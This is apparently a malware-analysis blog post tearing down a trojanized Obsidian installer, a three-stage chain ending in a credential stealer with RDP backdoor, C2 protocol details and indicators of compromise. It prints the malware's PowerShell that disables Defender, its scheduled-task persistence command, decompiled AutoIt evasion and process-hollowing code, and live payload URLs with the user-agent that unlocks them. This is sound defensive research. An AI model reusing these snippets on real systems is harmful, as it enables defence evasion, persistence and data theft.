Reversing a Trojanized Obsidian Installer
Adam Hassan / June 2026 (4122 Words, 23 Minutes)
Someone at work shared a trojanized Obsidian installer with me recently that was being distributed as an ISO. As of writing, both Bing and DuckDuckGo serve the malicious studio-obsidian.com as the second result for “obsidian download”.

It’s been a while since I’ve done any malware reversing, so I decided to spend a few days doing a full teardown. A ton of the work was LLM-assisted, which gave me a good opportunity to test out a new tool:
Crucible - Linux-hosted MCP server for provisioning and controlling isolated Windows VMs for malware analysis and debugging.
Reversing involved:
- Static analysis of all three stages. The LLM used Ghidra and Radare headless and I used Binja
- Using Crucible to run the malware in an isolated Windows VM with CDB attached
- Hooking the RC4 layer to decrypt live C2 traffic without needing TLS keys
- Writing a fake C2 server to exercise every command
As far as I can tell, this sample isn’t from a known public malware family. Please let me know if you know otherwise. None of the individual techniques themselves seem novel, though.
If you want to analyze it yourself before reading, you can download the sample here (password infected).
Sample info
| Stage | File | SHA256 | VT |
|---|---|---|---|
| ISO | Obsidian-1.12.7.iso | 0c155593cf9ba940e4b026666a500c5802bb672f5091870c6750bfc57b9ecaff |
link |
| 1 | python311.dll | 5ea471e123ee59af9ea742ddb54a898475d2c776ed1980c62d9fc749453bb12e |
link |
| 2a | Wextract SFX | bfa78af89512b135997d8180639ec92b33c07de93ebe810bfb17249e69e7fc4d |
link |
| 2b | Creates.exe | bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1 |
link |
| 3 | Stealer | 77274004408ddf9c5a9aea9d31f4e13fc2e4539700e92e7514a80551b97818c6 |
link |
Overview
Here’s the full infection chain:

Summary of capabilities:
- DLL sideloading via trojanized
python311.dllloaded by a signed Python executable - Defender evasion (exclusion paths, disabled sample submission, disabled PUA protection)
- Scheduled task persistence (
DataHarborat logon) plus dormantQuantumMind*tasks - Anti-VM checks (VMware, VirtualBox, Sandboxie) and AV-aware persistence (Avast, AVG, BitDefender, Kaspersky, Sophos)
- Process hollowing to inject the final payload
- C2 beaconing every 60 seconds over HTTPS with RC4-encrypted JSON
- Eight C2 commands: shell execution, data theft, RDP backdoor, SSH tunneling, process hollowing, browser extension sideloading
- Browser credential/cookie theft (Chromium-family browsers including Edge, plus Firefox), crypto wallets, SSH keys, FTP, KeePass
- RDPWrap + Plink reverse tunnel for persistent remote desktop access
Stage 1: DLL sideloading
The ISO had three files:
Obsidian-1.12.7.exe- a signed Pythonpythonw.exefrom Python 3.11.0python311.dll- the malicious DLLvcruntime140.dll- a normal Microsoft runtime DLL
The python311 DLL isn’t signed but is so large that most free malware analysis tools online won’t allow you to submit it. It’s much larger than the size of the real DLL.
When launching the (safe) Python executable, Windows searches for python311.dll in the current directory first and then loads the malicious library.
The PE sections end around 7.5 MB into the file, leaving a 274 MB overlay appended after the last section. Entropy analysis shows every 1 MB chunk at 7.999+ bits/byte with a chi-squared value of 258 (255 expected for true random). It’s statistically indistinguishable from CSPRNG output. No code in the DLL references the overlay offset, and none of RC4 keys I found decrypt it to anything recognizable.
The stage 2 PowerShell uses the same trick on the other end and pads its dropped payload with 200-300 MB of CryptGenRandom output.
On top of the malicious functionality, the python311.dll exports over 1,600 Python functions, which presumably both allows the Python exe to work and makes the DLL less suspicious.

There was also a 4.7 MB RCDATA resource containing a signed Blizzard/Battle.net bootstrapper. I didn’t see it referenced anywhere at runtime. Embedding a legitimately signed executable is a known AV evasion technique1 - some heuristic engines see a valid Authenticode certificate chain in the byte stream and lower the risk score.
On load, DllMain runs an anti-analysis check and then spawns a worker thread that:
- Checks admin status, tries UAC elevation if needed
- Builds an RC4 key from stack strings:
FlHKAk48FKHZq2O2pfgT - RC4-decrypts two C2 URLs from its config
- Downloads both via WinHTTP with a very convincing Edge browser User-Agent
- Drops and executes the real Obsidian installer as a decoy so the user doesn’t get suspicious
The DLL also has RTTI for a class called HuiSunVinApplication alongside a Downloader class. This wasn’t referenced anywhere online, but I’m thinking this is the author’s chosen name for their malware.
Steps 2 through 5 all happen inside a single mega function (0x10001780) that includes about 4,000 lines of decompiler output.
Every API name and DLL string is built on the stack using XOR encoding rather than storing them as plaintext. There are two decoders - one for wide strings (used for DLL names like winhttp.dll) and one for byte strings (used for API names like WinHttpConnect). Each string starts with a seed value, and the remaining characters are XOR’d against it. After each string is decoded and used, a cleanup function zeros the stack buffers.

After decrypting the config, stage 1 downloads two payloads from the C2:
https://download.studio-obsidian.com/JHJLPXH6?id=405 (PowerShell payload)
https://download.studio-obsidian.com/W5jQz4Nh?id=405 (Wextract SFX binary)
One thing to note is that the C2 is gated by a specific useragent. If you curl it with a default user agent, you get a 404. You need the specific Edge UA string to get the payload:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
The second URL redirects (302) to https://verifydl.top/gmosetup, a separate domain hosting the binary. All three domains (studio-obsidian.com, verifydl.top, and the stage 3 C2 cdytftyvytcc142.website) sit behind Cloudflare anycast. The TLS certs are auto-renewed Let’s Encrypt.
The public studio-obsidian.com site is also still up at the time of writing, but I’ve reported it to the relevant parties before posting this blog.
Stage 2: PowerShell + AutoIt
Stage 1 downloads and executes two payloads. The PowerShell disables Defender. The Wextract SFX extracts and runs the AutoIt loader, which does the actual process hollowing. AutoIt is a legitimate Windows scripting language, but it has been involved in several malware campaigns over the last several years2 thanks to the fact that compiled AutoIt binaries are self-contained, support direct Win32 API calls, and likely because the scripting language is lesser known than more common ones like PowerShell, Python, etc. that may be used maliciously.
Defender evasion and persistence
The first download decrypts to base64 UTF-16LE PowerShell that disables Defender:
$path = $env:Temp
$proc = @("*.exe","*.com","cmd.exe")
$ext = @("exe","com","tmp")
Add-MpPreference -ExclusionPath $path -ExclusionProcess $proc -ExclusionExtension $ext
Set-MpPreference -SubmitSamplesConsent "NeverSend" -PUAProtection "Disabled"
It then registers a scheduled task called QuantumMindCopy (logon + 5 min). When it fires, it searches %LocalAppData% for a binary named QuantumMind.exe. If found, it renames a sibling file o to a random 12-character name, pads it with 200-300 MB of random data, and registers a second task QuantumMindSetup (logon + 7 min) to re-launch the loader.
In practice, nothing in the observed chain ever drops a file called QuantumMind.exe. The AutoIt script copies itself as DataHarbor.exe (not QuantumMind.exe) and the encrypted script as a (not o). So QuantumMindCopy fires on every logon but finds nothing, and QuantumMindSetup is never created. I think most likely, the QuantumMind naming is either vestigial from a different build or intended for a variant we didn’t observe. The persistence path that actually works is the DataHarbor task created by the AutoIt script.
Since both tasks are logon-triggered with multi-minute delays, most online sandboxes never see stage 2 fire. The sandbox window expires before the tasks run, and most don’t simulate a logon event anyway.
Loader and process hollowing
The second download decrypts to a Wextract SFX3 containing a signed Creates.exe (renamed AutoIt32 runtime) and Salary (encrypted AutoIt EA06 container).
(A)I4 wrote a custom extractor using some references on GitHub5 to pull out the decompiled AutoIt script. It came out to 12,000 lines with obfuscated variable names like $BARGAINSPEASACIDRESPONSES and $MONKEYSYNOPSISINTERNATIONALARRIVALS. The string decoder function is called EDGEPRAYERJOINT and uses repeating-key XOR. After decoding all 6,888 string calls, the actual logic is readable.
First, the anti-analysis checks:
; line 675 - exit on VM/sandbox
IF PROCESSEXISTS("vmtoolsd.exe") = TRUE OR PROCESSEXISTS("VboxTray.exe") = TRUE _
OR PROCESSEXISTS("SandboxieRpcSs.exe") THEN EXIT
It also requires admin privileges. If IsAdmin() fails, it launches itself elevated:
; line 466
$LIGHTERACERTBOMAN = ISADMIN()
IF NOT $LIGHTERACERTBOMAN THEN
; line 569 - re-launch with UAC elevation
$MONKEYSYNOPSISINTERNATIONALARRIVALS = SHELLEXECUTE("cmd", _
" /c " & @AUTOITEXE & " " & @SCRIPTFULLPATH, "", "runas", 0)
This silently fails in headless environments, so the script just exits.
The script is AV-aware. It checks for running AV processes and adjusts its persistence path:
; line 1630-1636
$RETURNINTERMEDIATEINTERNATIONALLY = @LOCALAPPDATADIR & "\SecureData Dynamics\DataHarbor.exe"
; Avast/AVG/BitDefender/Sophos: switch to AutoIt3.exe + .a3x format
IF PROCESSEXISTS("AvastUI.exe") OR PROCESSEXISTS("AVGUI.exe") _
OR PROCESSEXISTS("bdagent.exe") OR PROCESSEXISTS("SophosHealth.exe") THEN
$RETURNINTERMEDIATEINTERNATIONALLY = @LOCALAPPDATADIR & "\SecureData Dynamics\AutoIt3.exe"
; BitDefender specifically: switch launcher from wscript to cscript
IF PROCESSEXISTS("bdagent.exe") THEN $SHALL_DRIVES_SUSAN = "cscript"
; line 2005 - Kaspersky: change process creation flags
$SKYPECORRECTED = 134742020
IF PROCESSEXISTS("avp.exe") THEN $SKYPECORRECTED = 134217732
If all checks pass, it copies itself to %LocalAppData%\SecureData Dynamics\DataHarbor.exe and the encrypted script to a alongside it. It creates a DataHarbor scheduled task via schtasks.exe that re-runs this on every logon. Then it decrypts and hollows the embedded stage 3:
; line 6487 - persistence
RUN("schtasks.exe /create /tn " & Chr(34) & "DataHarbor" & Chr(34) & _
" /tr " & Chr(34) & " '" & $RETURNINTERMEDIATEINTERNATIONALLY & "' '" & _
$B_IRONINVESTIGATE & "'" & Chr(34) & " /sc onlogon /F /RL HIGHEST", "", @SW_HIDE)
; line 11492-11496 - decrypt + decompress + hollow
; after 40 failed hollowing attempts with BitDefender present,
; fall back to hollowing TapiUnattend.exe instead of @AUTOITEXE
IF PROCESSEXISTS("bdagent.exe") THEN MOTHERSCANTABLE(160000)
$PRINCEINNOVATIVEHOLLAND = @SYSTEMDIR & "\TapiUnattend.exe"
; RC4 decrypt -> LZNT1 decompress -> process hollow
$TERRAININCOMPLETE = MINUTE_SOLD( _
BARWEBCASTTODAY( _
B_JEANSFAVOURITEDEMOCRATICCOAT(BINARY($WFOTQNFWEC), _
BINARY("6129433352303165424747115893729026252"))), _
$REPRODUCTIVERANKING, $PRINCEINNOVATIVEHOLLAND, $HOMELANDBABE)
The embedded payload ($WFOTQNFWEC) is 2,522 hex string fragments totaling ~5 MB. B_JEANSFAVOURITEDEMOCRATICCOAT is the RC4 decryptor, BARWEBCASTTODAY is the LZNT1 decompressor, and MINUTE_SOLD is the process hollowing function that calls CreateProcessW (suspended), VirtualAllocExNuma, WriteProcessMemory, and NtResumeThread.
Stage 3: The stealer
The final payload is a UPX-packed 32-bit Qt/C++ binary (~2.5 MB packed, ~9.3 MB unpacked with upx -d). Qt is statically linked, which pulls in ~22,000 functions for HTTP, TLS, JSON, etc. - but only a few dozen are actual malware code. The developer left RTTI (C++ runtime type information) unstripped, which leaks the entire class hierarchy:
grab::Grab::Grab
grab::webapi::Api::postData
grab::Extract::extractRDPDLL
grab::SysInfo::getVersionWinDef
grab::core::encryption::Rc4Entity
Config
Settings for the C2 are stored in RCDATA resource 110, RC4-encrypted with key 29258634:
version=10.240
url=cdytftyvytcc142.website
path=api/ping
KeyAES=32d6094428938486146f54913b57ce4
The KeyAES name seems to have been made to be intentionally misleading, since it’s actually RC4 rather than AES.
C2 protocol
Beacons to POST https://cdytftyvytcc142.website/api/ping every ~60 seconds. Each beacon is a fresh TCP+TLS connection - no keepalive.
The body is the profile JSON, RC4-encrypted:
{
"hwid": "iaopekfnjnabffldepflnmfcfjkhoggn",
"hwid2": "kgghgomglhigledfnjkabdannpfmhne",
"username": "SYSTEM",
"lib_version": "10.0.26100.7920",
"os_version": "Windows 11 Home Edition 11.0.26200x64",
"resolution": "1024x768",
"version": "10.240"
}
The HWID is actually an MD5 hash encoded with a custom alphabet where each hex digit 0-F maps to a letter a-p. So iaopek... decodes to hex 80ef4a..., with the input being the network adapter GUID.
After each beacon, the C2 responds with an RC4-encrypted command string (command or command\npayload).
Command dispatch
The command dispatcher lives in grab::Grab::processTimeout (stage 3, address 0x436124). It checks 8 hardcoded strings in .rdata:
execute_cmd- Runs a shell command via
cmd.exe. If the command contains newlines, it writes a.battemp file and executes that instead. Output is RC4-encrypted and POSTed back to the C2 with a.cmdextension.
- Runs a shell command via
getdata- The main stealer. Collects browser credentials, cookies, crypto wallets, SSH keys, FTP configs, KeePass databases, and a screenshot. Everything goes into a ZIP archive and gets uploaded to the C2.
send_termserv- Uploads the victim’s
termsrv.dllto the C2. The operator needs the victim’s specific build of this DLL to create version-matched RDPWrap patches.
- Uploads the victim’s
tunnel- Parses
set login=,set pass=, andtunnelparameters from the command payload, drops Plink6 to%TEMP%\plink.exe, then callsCreateProcessWithLogonWto establish a reverse SSH tunnel. The login is done with stolen or provided credentials so the tunnel survives user logoff.
- Parses
update- Extracts
rdpwrap.dll(x86 or x64, auto-detected) andrfxvmt.dllfrom RC4-encrypted PE resources (IDs 104-107), writes them toC:\Program Files\RDP Wraper\, and registersrdpwrap.dllas the TermServiceServiceDll.
- Extracts
restart- Stops and restarts
TermServiceso RDPWrap changes take effect.
- Stops and restarts
execute- Receives a PE payload in the command body and runs it through process hollowing.
extension_install- Sideloads a
.crx7 browser extension into Chrome or Edge. The extension payload isn’t embedded in the binary - it’s delivered by the C2 as the command payload. The installer unpacks the CRX, drops it into the browser’s profile directory, whitelists the extension ID via registry policy (Software\Policies\Google\Chrome\ExtensionInstallWhitelistandSoftware\Policies\Microsoft\Edge\ExtensionInstallAllowlist), recomputes Chrome’s Preferences MAC so it looks legitimate, hides it from the toolbar, and kills the browser to force a reload. The real C2 issued this command, but with no CRX payload attached, so I never captured the actual extension.
- Sideloads a
What getdata steals
- Chromium browsers (Chrome, Edge, Brave, Opera): cookies, passwords, local state, app-bound encryption keys via DPAPI
- Firefox profiles
- WinSCP keys from registry
- PuTTY saved sessions
- KeePass databases
- FileZilla credentials
- SSH keys
- Crypto wallets via file masks
- System info from
systeminfo.exe
RDP backdoor
The update, tunnel, and restart commands work together to set up persistent remote access:
updateextracts embedded RDPWrap + rfxvmt.dll (stored as RC4-encrypted resources 104-107) and installs themtunnelsets up a Plink reverse SSH tunnel - the victim dials outboundrestartbounces TermService so changes take effect- Operator RDPs in through the tunnel
Since the victim initiates the outbound SSH connection, no inbound firewall rules are needed. Clever.
Building a fake C2
(A)I built a Python fake C2 server that implements the full RC4 protocol:
python3 tools/fake_c2_server.py serve \
--host 0.0.0.0 --port 9443 \
--tls-cert fake-c2-server.crt --tls-key fake-c2-server.key \
--playbook observed-getdata
Using Crucible I launched stage 3 and pointed it at the fake C2. I exercised all 8 commands:
execute_cmd whoami- ranwhoami, posted backcrucible-win11\crucibleusersend_termserv- uploaded the fulltermsrv.dllPEgetdata- created and uploaded a ZIP withsysinfo.txttunnel- enteredsetupPlink, failed with inert payload (expected)
Everything matched the static analysis perfectly.
Intercepting real requests
With the fake C2 confirming everything worked, I switched to the real C2. I launched stage 3 in Crucible with NAT-mode internet access and first attached CDB to hook the RC4 layer.
Hooking RC4 to bypass TLS
At first I assumed this would be an OpenSSL keylogging problem because the binary contains OpenSSL wrapper symbols. In this run, though, Qt used its Schannel backend, so SSLKEYLOGFILE never produced TLS keys. Instead, because all C2 data passes through rc4_set_input before encryption, I was able to get the LLM to debug the malware and capture the application-layer traffic in plaintext.
// CDB breakpoint script at stage3+0x4732c (rc4_set_input)
bp stage3+0x4732c ".printf \"RC4 len=%d\n\", poi(@esp+8);
.if(poi(@esp+8) > 0 & poi(@esp+8) < 0x1000) {
da poi(@esp+4) L?poi(@esp+8)
}; g"
This catches outgoing data before encryption, including profile JSON, ZIP uploads, and log postbacks in plaintext. Incoming commands are still ciphertext at that breakpoint, but the length tells us when a command was sent instead of an idle response.
MITM-ing Requests
For the longer run, I switched to a local TLS MITM. DNS for cdytftyvytcc142.website was intercepted locally, the malware connected to my TLS server, and the MITM forwarded the original RC4 bodies to the real C2. That gave me a normal pcap plus TLS keys while still talking to the real operator infrastructure.

Just in case the operator was trying to detect re-runs from already captured environments or malware sandboxes server-side, I had the interceptor modify the identifier JSON with a random-looking HWID, username, OS version, and screen resolution.
What the operator did
Across the live sessions, the C2 followed a pretty consistent playbook:
getdata- sent a server-side list of wallet and document file masks, then received the stealer ZIP uploadupdate- sent a 546 KB RDPWrap configuration updated on 2026-05-26extension_install- sent the command name with no CRX payload, so the malware entered the extension path and failed validationsend_termserv- requested the victim’s localtermsrv.dll; the malware uploaded the full 1.2 MB PE, complete with MZ headeridle- returned empty responses on later beacons
Most of this was expected. They steal all my data and get an extra host on their C2. But sending termsrv.dll was interesting. My theory here is that the operator wants the victim’s own termsrv.dll so they can patch it offline with RDPWrap for that specific Windows build, since RDPWrap patches are version-specific, and different Windows updates ship different termsrv.dll binaries.
IoCs
Domains
All behind Cloudflare anycast - origin servers hidden.
download.studio-obsidian.com- Stage 1 payload deliveryverifydl.top- Stage 2 binary host / redirect targetcdytftyvytcc142.website- Stage 3 C2
Network indicators
- JA3 (direct launch):
ce5f3254611a8c095a3d821d44539877 - JA3 (process-hollowed):
56f324664e72889294d846ffc6f580b3 - Stage 1 UA:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0 - Stage 3 UA:
Mozilla/5.0 (Windows NT 6.1; Win32; x86; rv:47.0) Gecko/20100101 Firefox/47.0 - C2 endpoint:
POST /api/ping - Beacon interval: hardcoded 60 seconds (
QTimer::start(60000)at0x435bc4), no jitter
Host indicators
- Scheduled tasks:
DataHarbor(active, created by AutoIt viaschtasks.exe),QuantumMindCopy(registered by PowerShell but inert - searches forQuantumMind.exewhich is never dropped) - Persistence directory:
%LocalAppData%\SecureData Dynamics\ - RDPWrap drop:
C:\Program Files\RDP Wraper\rdpwrap.dll - Registry modification:
HKLM\...\TermService\Parameters\ServiceDllpointing tordpwrap.dll - Anti-VM:
ProcessExists()checks forvmtoolsd.exe,VboxTray.exe,SandboxieRpcSs.exein the AutoIt script
RC4 keys
FlHKAk48FKHZq2O2pfgT- Stage 1 config and C2 payloads29258634- Stage 3 settings resource (RCDATA 110)32d6094428938486146f54913b57ce4- Stage 3 C2 transport6129433352303165424747115893729026252- AutoIt embedded payload
-
MITRE ATT&CK T1036.001 - Invalid Code Signature. Embedding signed binaries in resources to influence heuristic scoring. ↩
-
AutoIt is a freeware Windows automation language whose compiler produces standalone executables with full Win32 API access. It’s one of the most commonly abused legitimate tools in malware delivery chains - DarkGate and numerous Redline/Amadey campaigns use AutoIt-compiled loaders for sandbox evasion and payload decryption. See Unit42 AutoIt ↩ ↩2
-
Wextract is Microsoft’s built-in self-extracting archive stub, bundled with Windows via the IExpress Wizard (
iexpress.exe). It packages files into a single executable that extracts to a temp directory and optionally runs a setup command. ↩ -
parsiya.net on (A)I ↩
-
Other AutoIt EA06 extractors: AutoIt-Ripper, Exe2Aut. ↩
-
Plink is PuTTY’s command-line SSH client. Malware uses it to create reverse tunnels without needing to ship a full SSH implementation. ↩
-
.crxis Chrome’s extension package format - a signed ZIP containing the extension’s JavaScript, manifest, and assets. Normally installed from the Chrome Web Store, but can be sideloaded by dropping files directly into the browser profile. ↩